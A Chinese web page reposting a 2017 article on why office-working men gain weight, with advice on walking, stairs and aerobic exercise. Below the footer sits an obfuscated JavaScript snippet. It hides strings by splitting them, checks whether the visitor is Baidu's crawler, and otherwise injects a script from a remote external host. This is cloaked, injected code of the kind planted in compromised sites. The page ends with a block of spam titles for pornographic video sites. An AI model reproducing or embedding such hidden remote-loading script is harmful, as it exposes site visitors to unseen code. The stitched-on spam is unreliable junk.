當前位置:首頁 > 減肥 > 減肥方法 > 正文

辦公室男性發胖有哪些對策

2017-03-12 13:29:47  來源:360常識網   熱度:
導語:減肥其實就是改變運動和飲食習慣的過程。日常生活中鍛煉的機會到處都有,無論從事什么工作,你都會有消耗熱量的辦法。發胖不可怕,只要持之以恒,大學校園里曾經的勻稱身材會失而復得。

辦公室男性容易發胖,歸結起來,主要有以下原因,如缺乏運動。科學證明,減肥是全身性的,不可能只減掉某一部分,而其他部分保持不變。

辦公室男性發胖有哪些對策

1.長時間久坐辦公,姿勢單一,缺乏運動。

2.遇到挫折、壓力時,容易從食物或酒精中尋求安慰,造成體內熱量超負荷。人的體重和所承受的壓力會形成惡性循環,一般人在壓力之下容易飲食過量、消化不良而造成體重過重。

3.自然增重。一般男性體內有大約300億個脂肪細胞,隨著年齡的增長,這些細胞就會重一些。因此,幾乎每一個男人在30歲以后總是要比以前重一些。并且,基因、荷爾蒙以及減慢了的新陳代謝都開始對他的腹部產生影響。

4.“心寬體胖”。從心理學的角度來講,這種說法不無道理,這就可以解釋為什么大多數已婚男性身體會像吹氣球一樣迅速發胖。

盡管男性不崇尚“骨感美”,但日漸發福也不是一件好事,至少你會非常希望不借助鏡子就能看到自己的腰帶扣。

1.有氧運動。騎自行車、跑步、游泳、散步等有氧運動是消耗體內熱量的最有效辦法;

2.為自己制造走路的機會。不用像禿鷹尋找獵物一樣在車滿為患的停車場尋找車位,把車放得遠一點,你可以享受散步的樂趣;

3.散步。休息時毫不猶豫地去散步而不是去喝咖啡、可樂,因為散步比任何一種飲料都能使你頭腦清醒。

4.盡可能遠離電梯等提速代步手段。走進大樓,不要乘電梯,自己爬上樓去;

5.必要地“燃燒”情緒。用任何可以接受的方法,只要能使你的心跳加速至少持續20分鐘,即可幫助消耗體內熱量。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
思思99re66在线精品免费观看 | 日本精品一区二区三区视频| 亚洲精品国产精品乱码在线观看| 欧美精品大香伊蕉在人线| 国产午夜精品免费一区二区三区| 精品国产亚洲AV麻豆 | 在线观看麻豆精品国产不卡| 一级香蕉精品视频在线播放| 国产精品亚洲αv天堂无码| 亚洲区日韩精品中文字幕| 久久精品夜色国产亚洲av| 日韩精品一区二区三区影院| 国产精品视频yuojizz| 国产精品无码无在线观看| 日本精品夜色视频一区二区| 国产精品自在在线午夜蜜芽tv在线| 久久91精品久久91综合| 亚洲日韩精品无码专区网站| 国产精品亚洲专区无码唯爱网| 亚洲精品欧洲精品| 久久机热re这里只有精品15| 伊在人亚洲香蕉精品区麻豆| 1313午夜精品理论片| 久久精品国产亚洲AV久| 少妇人妻偷人精品无码视频新浪| 99久久精品国产免看国产一区| 一本色道久久88综合亚洲精品高清| 精品日产卡一卡二卡三入口| 国产成人精品免费视频大全麻豆| 久久精品中文字幕首页| 成人午夜视频精品一区| 亚洲精品tv久久久久| 国产在线精品无码二区二区| 国产乱码精品一区二区三区香蕉 | 手机看片在线精品观看| 人成精品视频三区二区一区| 国产精品色午夜免费视频| 人妻精品久久无码区| 久久久国产亚洲精品| 国产精品亚洲自在线播放页码| 精品无码日韩一区二区三区不卡|